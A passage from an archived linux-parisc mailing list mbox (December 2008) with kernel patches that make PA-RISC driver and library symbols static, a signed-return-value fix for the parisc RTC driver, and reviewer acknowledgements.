+static int __init asp_init_chip(struct parisc_device *dev)
 {
 	struct gsc_irq gsc_irq;
 	int ret;
diff -puN drivers/parisc/ccio-dma.c~drivers-parisc-make-code-static drivers/parisc/ccio-dma.c
--- a/drivers/parisc/ccio-dma.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/ccio-dma.c
@@ -555,7 +555,7 @@ static u32 hint_lookup[] = {
  * (Load Coherence Index) instruction.  The 8 bits used for the virtual
  * index are bits 12:19 of the value returned by LCI.
  */ 
-void CCIO_INLINE
+static void CCIO_INLINE
 ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
 		   unsigned long hints)
 {
diff -puN drivers/parisc/dino.c~drivers-parisc-make-code-static drivers/parisc/dino.c
--- a/drivers/parisc/dino.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/dino.c
@@ -287,7 +287,7 @@ DINO_PORT_OUT(b,  8, 3)
 DINO_PORT_OUT(w, 16, 2)
 DINO_PORT_OUT(l, 32, 0)
 
-struct pci_port_ops dino_port_ops = {
+static struct pci_port_ops dino_port_ops = {
 	.inb	= dino_in8,
 	.inw	= dino_in16,
 	.inl	= dino_in32,
@@ -690,7 +690,7 @@ dino_fixup_bus(struct pci_bus *bus)
 }
 
 
-struct pci_bios_ops dino_bios_ops = {
+static struct pci_bios_ops dino_bios_ops = {
 	.init		= dino_bios_init,
 	.fixup_bus	= dino_fixup_bus
 };
diff -puN drivers/parisc/hppb.c~drivers-parisc-make-code-static drivers/parisc/hppb.c
--- a/drivers/parisc/hppb.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/hppb.c
@@ -29,7 +29,7 @@ struct hppb_card {
 	struct hppb_card *next;
 };
 
-struct hppb_card hppb_card_head = {
+static struct hppb_card hppb_card_head = {
 	.hpa = 0,
 	.next = NULL,
 };
diff -puN drivers/parisc/lasi.c~drivers-parisc-make-code-static drivers/parisc/lasi.c
--- a/drivers/parisc/lasi.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/lasi.c
@@ -107,7 +107,7 @@ lasi_init_irq(struct gsc_asic *this_lasi
 
 #else
 
-void __init lasi_led_init(unsigned long lasi_hpa)
+static void __init lasi_led_init(unsigned long lasi_hpa)
 {
 	unsigned long datareg;
 
@@ -163,8 +163,7 @@ static void lasi_power_off(void)
 	gsc_writel(0x02, datareg);
 }
 
-int __init
-lasi_init_chip(struct parisc_device *dev)
+static int __init lasi_init_chip(struct parisc_device *dev)
 {
 	extern void (*chassis_power_off)(void);
 	struct gsc_asic *lasi;
diff -puN drivers/parisc/lba_pci.c~drivers-parisc-make-code-static drivers/parisc/lba_pci.c
--- a/drivers/parisc/lba_pci.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/lba_pci.c
@@ -824,7 +824,7 @@ lba_fixup_bus(struct pci_bus *bus)
 }
 
 
-struct pci_bios_ops lba_bios_ops = {
+static struct pci_bios_ops lba_bios_ops = {
 	.init =		lba_bios_init,
 	.fixup_bus =	lba_fixup_bus,
 };
diff -puN drivers/parisc/sba_iommu.c~drivers-parisc-make-code-static drivers/parisc/sba_iommu.c
--- a/drivers/parisc/sba_iommu.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/sba_iommu.c
@@ -561,7 +561,7 @@ typedef unsigned long space_t;
  * IOMMU uses little endian for the pdir.
  */
 
-void SBA_INLINE
+static void SBA_INLINE
 sba_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
 		  unsigned long hint)
 {
@@ -1874,7 +1874,7 @@ static struct parisc_device_id sba_tbl[]
 	{ 0, }
 };
 
-int sba_driver_callback(struct parisc_device *);
+static int sba_driver_callback(struct parisc_device *);
 
 static struct parisc_driver sba_driver = {
 	.name =		MODULE_NAME,
@@ -1887,8 +1887,7 @@ static struct parisc_driver sba_driver =
 ** If so, initialize the chip and tell other partners in crime they
 ** have work to do.
 */
-int
-sba_driver_callback(struct parisc_device *dev)
+static int sba_driver_callback(struct parisc_device *dev)
 {
 	struct sba_device *sba_dev;
 	u32 func_class;
diff -puN drivers/parisc/wax.c~drivers-parisc-make-code-static drivers/parisc/wax.c
--- a/drivers/parisc/wax.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/wax.c
@@ -68,8 +68,7 @@ wax_init_irq(struct gsc_asic *wax)
 //	gsc_writel(0xFFFFFFFF, base+0x2000); /* RS232-B on Wax */
 }
 
-int __init
-wax_init_chip(struct parisc_device *dev)
+static int __init wax_init_chip(struct parisc_device *dev)
 {
 	struct gsc_asic *wax;
 	struct parisc_device *parent;
_
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 2/3] drivers/parisc/: make code static
Date: Mon, 1 Dec 2008 22:16:43 -0700
Lines: 183
Approved: news@gmane.org
Message-ID: <20081202051643.GB32569@colo.lackof.org>
References: <200812012228.mB1MSGho017237@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228195029 25983 80.91.229.12 (2 Dec 2008 05:17:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Dec 2008 05:17:09 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org, bunk@kernel.org,
	grundler@parisc-linux.org, matthew@wil.cx
To: akpm@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 02 06:18:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L7NeE-00036s-6q
	for glpp-linux-parisc@gmane.org; Tue, 02 Dec 2008 06:18:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750727AbYLBFQ4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Dec 2008 00:16:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750728AbYLBFQ4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 2 Dec 2008 00:16:56 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:34695 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750727AbYLBFQz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Dec 2008 00:16:55 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6D1E56F8041;
	Mon,  1 Dec 2008 22:16:54 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08072-08; Mon, 1 Dec 2008 22:16:43 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C10A96F8040; Mon,  1 Dec 2008 22:16:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200812012228.mB1MSGho017237@imap1.linux-foundation.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:894
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/894>

On Mon, Dec 01, 2008 at 02:28:16PM -0800, akpm@linux-foundation.org wrote:
> From: Adrian Bunk <bunk@kernel.org>
> 
> Make the following needlessly global code static:
> 
> - asp.c: asp_init_chip()
> - ccio-dma.c: ccio_io_pdir_entry()
> - dino.c: struct dino_port_ops
> - dino.c: struct dino_bios_ops
> - hppb.c: struct hppb_card_head
> - lasi.c: lasi_led_init()
> - lasi.c: lasi_init_chip()
> - lba_pci.c: struct lba_bios_ops
> - sba_iommu.c: sba_io_pdir_entry()
> - sba_iommu.c: sba_driver_callback()
> - sba_iommu.c: sba_driver_callback()
> - wax.c: wax_init_chip()
> 
> Signed-off-by: Adrian Bunk <bunk@kernel.org>
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: Matthew Wilcox <matthew@wil.cx>
> Cc: Grant Grundler <grundler@parisc-linux.org>
> Signed-off-by: Andrew Morton <akpm@linux-foundation.org>

Reviewed-by: Grant Grundler <grundler@parisc-linux.org>

thanks,
grant

> ---
> 
>  drivers/parisc/asp.c       |    3 +--
>  drivers/parisc/ccio-dma.c  |    2 +-
>  drivers/parisc/dino.c      |    4 ++--
>  drivers/parisc/hppb.c      |    2 +-
>  drivers/parisc/lasi.c      |    5 ++---
>  drivers/parisc/lba_pci.c   |    2 +-
>  drivers/parisc/sba_iommu.c |    7 +++----
>  drivers/parisc/wax.c       |    3 +--
>  8 files changed, 12 insertions(+), 16 deletions(-)
> 
> diff -puN drivers/parisc/asp.c~drivers-parisc-make-code-static drivers/parisc/asp.c
> --- a/drivers/parisc/asp.c~drivers-parisc-make-code-static
> +++ a/drivers/parisc/asp.c
> @@ -71,8 +71,7 @@ static void asp_choose_irq(struct parisc
>   */
>  #define ASP_INTERRUPT_ADDR 0xf0800000
>  
> -int __init
> -asp_init_chip(struct parisc_device *dev)
> +static int __init asp_init_chip(struct parisc_device *dev)
>  {
>  	struct gsc_irq gsc_irq;
>  	int ret;
> diff -puN drivers/parisc/ccio-dma.c~drivers-parisc-make-code-static drivers/parisc/ccio-dma.c
> --- a/drivers/parisc/ccio-dma.c~drivers-parisc-make-code-static
> +++ a/drivers/parisc/ccio-dma.c
> @@ -555,7 +555,7 @@ static u32 hint_lookup[] = {
>   * (Load Coherence Index) instruction.  The 8 bits used for the virtual
>   * index are bits 12:19 of the value returned by LCI.
>   */ 
> -void CCIO_INLINE
> +static void CCIO_INLINE
>  ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
>  		   unsigned long hints)
>  {
> diff -puN drivers/parisc/dino.c~drivers-parisc-make-code-static drivers/parisc/dino.c
> --- a/drivers/parisc/dino.c~drivers-parisc-make-code-static
> +++ a/drivers/parisc/dino.c
> @@ -287,7 +287,7 @@ DINO_PORT_OUT(b,  8, 3)
>  DINO_PORT_OUT(w, 16, 2)
>  DINO_PORT_OUT(l, 32, 0)
>  
> -struct pci_port_ops dino_port_ops = {
> +static struct pci_port_ops dino_port_ops = {
>  	.inb	= dino_in8,
>  	.inw	= dino_in16,
>  	.inl	= dino_in32,
> @@ -690,7 +690,7 @@ dino_fixup_bus(struct pci_bus *bus)
>  }
>  
>  
> -struct pci_bios_ops dino_bios_ops = {
> +static struct pci_bios_ops dino_bios_ops = {
>  	.init		= dino_bios_init,
>  	.fixup_bus	= dino_fixup_bus
>  };
> diff -puN drivers/parisc/hppb.c~drivers-parisc-make-code-static drivers/parisc/hppb.c
> --- a/drivers/parisc/hppb.c~drivers-parisc-make-code-static
> +++ a/drivers/parisc/hppb.c
> @@ -29,7 +29,7 @@ struct hppb_card {
>  	struct hppb_card *next;
>  };
>  
> -struct hppb_card hppb_card_head = {
> +static struct hppb_card hppb_card_head = {
>  	.hpa = 0,
>  	.next = NULL,
>  };
> diff -puN drivers/parisc/lasi.c~drivers-parisc-make-code-static drivers/parisc/lasi.c
> --- a/drivers/parisc/lasi.c~drivers-parisc-make-code-static
> +++ a/drivers/parisc/lasi.c
> @@ -107,7 +107,7 @@ lasi_init_irq(struct gsc_asic *this_lasi
>  
>  #else
>  
> -void __init lasi_led_init(unsigned long lasi_hpa)
> +static void __init lasi_led_init(unsigned long lasi_hpa)
>  {
>  	unsigned long datareg;
>  
> @@ -163,8 +163,7 @@ static void lasi_power_off(void)
>  	gsc_writel(0x02, datareg);
>  }
>  
> -int __init
> -lasi_init_chip(struct parisc_device *dev)
> +static int __init lasi_init_chip(struct parisc_device *dev)
>  {
>  	extern void (*chassis_power_off)(void);
>  	struct gsc_asic *lasi;
> diff -puN drivers/parisc/lba_pci.c~drivers-parisc-make-code-static drivers/parisc/lba_pci.c
> --- a/drivers/parisc/lba_pci.c~drivers-parisc-make-code-static
> +++ a/drivers/parisc/lba_pci.c
> @@ -824,7 +824,7 @@ lba_fixup_bus(struct pci_bus *bus)
>  }
>  
>  
> -struct pci_bios_ops lba_bios_ops = {
> +static struct pci_bios_ops lba_bios_ops = {
>  	.init =		lba_bios_init,
>  	.fixup_bus =	lba_fixup_bus,
>  };
> diff -puN drivers/parisc/sba_iommu.c~drivers-parisc-make-code-static drivers/parisc/sba_iommu.c
> --- a/drivers/parisc/sba_iommu.c~drivers-parisc-make-code-static
> +++ a/drivers/parisc/sba_iommu.c
> @@ -561,7 +561,7 @@ typedef unsigned long space_t;
>   * IOMMU uses little endian for the pdir.
>   */
>  
> -void SBA_INLINE
> +static void SBA_INLINE
>  sba_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
>  		  unsigned long hint)
>  {
> @@ -1874,7 +1874,7 @@ static struct parisc_device_id sba_tbl[]
>  	{ 0, }
>  };
>  
> -int sba_driver_callback(struct parisc_device *);
> +static int sba_driver_callback(struct parisc_device *);
>  
>  static struct parisc_driver sba_driver = {
>  	.name =		MODULE_NAME,
> @@ -1887,8 +1887,7 @@ static struct parisc_driver sba_driver =
>  ** If so, initialize the chip and tell other partners in crime they
>  ** have work to do.
>  */
> -int
> -sba_driver_callback(struct parisc_device *dev)
> +static int sba_driver_callback(struct parisc_device *dev)
>  {
>  	struct sba_device *sba_dev;
>  	u32 func_class;
> diff -puN drivers/parisc/wax.c~drivers-parisc-make-code-static drivers/parisc/wax.c
> --- a/drivers/parisc/wax.c~drivers-parisc-make-code-static
> +++ a/drivers/parisc/wax.c
> @@ -68,8 +68,7 @@ wax_init_irq(struct gsc_asic *wax)
>  //	gsc_writel(0xFFFFFFFF, base+0x2000); /* RS232-B on Wax */
>  }
>  
> -int __init
> -wax_init_chip(struct parisc_device *dev)
> +static int __init wax_init_chip(struct parisc_device *dev)
>  {
>  	struct gsc_asic *wax;
>  	struct parisc_device *parent;
> _
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 1/3] parisc/lib/: make code static
Date: Mon, 1 Dec 2008 22:45:42 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <20081202054542.GC32569@colo.lackof.org>
References: <200812012228.mB1MSF7t017234@imap1.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228196771 29408 80.91.229.12 (2 Dec 2008 05:46:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Dec 2008 05:46:11 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org, bunk@kernel.org,
	grundler@parisc-linux.org, matthew@wil.cx
To: akpm@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 02 06:47:11 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L7O6G-0000MZ-Rm
	for glpp-linux-parisc@gmane.org; Tue, 02 Dec 2008 06:47:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750782AbYLBFp4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Dec 2008 00:45:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750786AbYLBFp4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 2 Dec 2008 00:45:56 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:34877 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750782AbYLBFpz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Dec 2008 00:45:55 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0CAAB18056F;
	Mon,  1 Dec 2008 22:45:53 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09609-08; Mon, 1 Dec 2008 22:45:42 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8FC1F6F8059; Mon,  1 Dec 2008 22:45:42 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200812012228.mB1MSF7t017234@imap1.linux-foundation.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:895
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/895>

On Mon, Dec 01, 2008 at 02:28:15PM -0800, akpm@linux-foundation.org wrote:
> From: Adrian Bunk <bunk@kernel.org>
> 
> Make the following needlessly global code static:
> 
> - iomap.c: struct iomap_ops[]
> - memcpy.c: pa_memcpy()
> 
> Signed-off-by: Adrian Bunk <bunk@kernel.org>
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: Matthew Wilcox <matthew@wil.cx>
> Cc: Grant Grundler <grundler@parisc-linux.org>
> Signed-off-by: Andrew Morton <akpm@linux-foundation.org>

Reviewed-by: Grant Grundler <grundler@parisc-linux.org>

thanks,
grant

> ---
> 
>  arch/parisc/lib/iomap.c  |    2 +-
>  arch/parisc/lib/memcpy.c |    2 +-
>  2 files changed, 2 insertions(+), 2 deletions(-)
> 
> diff -puN arch/parisc/lib/iomap.c~parisc-lib-make-code-static arch/parisc/lib/iomap.c
> --- a/arch/parisc/lib/iomap.c~parisc-lib-make-code-static
> +++ a/arch/parisc/lib/iomap.c
> @@ -261,7 +261,7 @@ static const struct iomap_ops iomem_ops 
>  	iomem_write32r,
>  };
>  
> -const struct iomap_ops *iomap_ops[8] = {
> +static const struct iomap_ops *iomap_ops[8] = {
>  	[0] = &ioport_ops,
>  	[7] = &iomem_ops
>  };
> diff -puN arch/parisc/lib/memcpy.c~parisc-lib-make-code-static arch/parisc/lib/memcpy.c
> --- a/arch/parisc/lib/memcpy.c~parisc-lib-make-code-static
> +++ a/arch/parisc/lib/memcpy.c
> @@ -275,7 +275,7 @@ handle_store_error:
>  
>  
>  /* Returns 0 for success, otherwise, returns number of bytes not transferred. */
> -unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
> +static unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
>  {
>  	register unsigned long src, dst, t1, t2, t3;
>  	register unsigned char *pcs, *pcd;
> _
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roel Kluin <roel.kluin@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: set_time() catch errors
Date: Wed, 03 Dec 2008 00:16:04 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <4935C1B4.5030806@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228259779 14162 80.91.229.12 (2 Dec 2008 23:16:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Dec 2008 23:16:19 +0000 (UTC)
To: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 03 00:17:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L7eUY-0000HL-Hy
	for glpp-linux-parisc@gmane.org; Wed, 03 Dec 2008 00:17:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750980AbYLBXQF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Dec 2008 18:16:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751064AbYLBXQF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 2 Dec 2008 18:16:05 -0500
Original-Received: from ug-out-1314.google.com ([66.249.92.172]:47724 "EHLO
	ug-out-1314.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750980AbYLBXQD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Dec 2008 18:16:03 -0500
Original-Received: by ug-out-1314.google.com with SMTP id 39so3224679ugf.37
        for <linux-parisc@vger.kernel.org>; Tue, 02 Dec 2008 15:16:00 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from
         :user-agent:mime-version:to:subject:content-type
         :content-transfer-encoding;
        bh=Hh78Hkb5hFaTqFqjFAJpTFx28mm/SotuExCaLG1ljgc=;
        b=en88fv52QY/2egESYk4FonNHeQv5i0TxCQ+CZV+zmFJBLFRbfXLgPF3C38PJAUBLVf
         XSCQnNpmjrk59ZBvIRyDa5xBHppW463JKXulhhqVze+Zzdw0NY1AO2BnV0/jSq67+Vxh
         XDD7Wj1U7SR9q4sWZ8U395WyiTkOG8JdSuKbE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:user-agent:mime-version:to:subject
         :content-type:content-transfer-encoding;
        b=UV6OWcQEtfD1UDptwb84GqMSmOZ7Ejk0vziB4j7xAJKOYvIKm9iLEAamjClNM4n/Y0
         OOQex4EqPR7MRbnFjE3Lpo9GOh2lKKYlSsbyPBSAXi9yGwRUmC5RmnhryEZ6h5nD/jRn
         c6HQajFAWFgWdfM2hhsLU0RBfk7RBiQS56mtk=
Original-Received: by 10.67.116.18 with SMTP id t18mr1161120ugm.52.1228259760923;
        Tue, 02 Dec 2008 15:16:00 -0800 (PST)
Original-Received: from ?192.168.1.148? (d133062.upc-d.chello.nl [213.46.133.62])
        by mx.google.com with ESMTPS id e34sm12681248ugd.55.2008.12.02.15.15.57
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Tue, 02 Dec 2008 15:15:59 -0800 (PST)
User-Agent: Thunderbird 2.0.0.14 (X11/20080421)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:896
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/896>

set_rtc_time returns negative on error, ret should be signed to catch those

Signed-off-by: Roel Kluin <roel.kluin@gmail.com>
---
diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
index 346d633..c6bfa6f 100644
--- a/drivers/rtc/rtc-parisc.c
+++ b/drivers/rtc/rtc-parisc.c
@@ -34,7 +34,8 @@ static int parisc_get_time(struct device *dev, struct rtc_time *tm)
 static int parisc_set_time(struct device *dev, struct rtc_time *tm)
 {
 	struct parisc_rtc *p = dev_get_drvdata(dev);
-	unsigned long flags, ret;
+	unsigned long flags;
+	int ret;
 
 	spin_lock_irqsave(&p->lock, flags);
 	ret = set_rtc_time(tm);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: set_time() catch errors
Date: Wed, 3 Dec 2008 01:12:43 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20081203081243.GB32121@colo.lackof.org>
References: <4935C1B4.5030806@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228291991 24826 80.91.229.12 (3 Dec 2008 08:13:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Dec 2008 08:13:11 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: Roel Kluin <roel.kluin@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 03 09:14:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L7ms5-0001I3-EW
	for glpp-linux-parisc@gmane.org; Wed, 03 Dec 2008 09:14:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751204AbYLCIM4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Dec 2008 03:12:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751283AbYLCIM4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 3 Dec 2008 03:12:56 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:45001 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751204AbYLCIMz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Dec 2008 03:12:55 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1D8E029C094;
	Wed,  3 Dec 2008 01:12:54 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01165-08; Wed, 3 Dec 2008 01:12:43 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 526C1180585; Wed,  3 Dec 2008 01:12:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4935C1B4.5030806@gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:897
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/897>

On Wed, Dec 03, 2008 at 12:16:04AM +0100, Roel Kluin wrote:
> set_rtc_time returns negative on error, ret should be signed to catch those
> 
> Signed-off-by: Roel Kluin <roel.kluin@gmail.com>

Reviewed-by: Grant Grundler <grundler@parisc-linux.org>

> ---
> diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
> index 346d633..c6bfa6f 100644
> --- a/drivers/rtc/rtc-parisc.c
> +++ b/drivers/rtc/rtc-parisc.c
> @@ -34,7 +34,8 @@ static int parisc_get_time(struct device *dev, struct rtc_time *tm)
>  static int parisc_set_time(struct device *dev, struct rtc_time *tm)
>  {
>  	struct parisc_rtc *p = dev_get_drvdata(dev);
> -	unsigned long flags, ret;
> +	unsigned long flags;
> +	int ret;
>  
>  	spin_lock_irqsave(&p->lock, flags);
>  	ret = set_rtc_time(tm);


Use of unsigned is wrong given the later code in parisc_set_time() does:
        if (ret < 0)
                return -EOPNOTSUPP;


I expected a compiler "out of range"-like warning.
Someone know why no warning was emitted?
Or was one emitted and we've just ignored it?

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] 2.6.28-rc6 update parisc MAINTAINERS
Date: Wed, 3 Dec 2008 01:22:39 -0700
Lines: 34
Approved: news@gmane.org
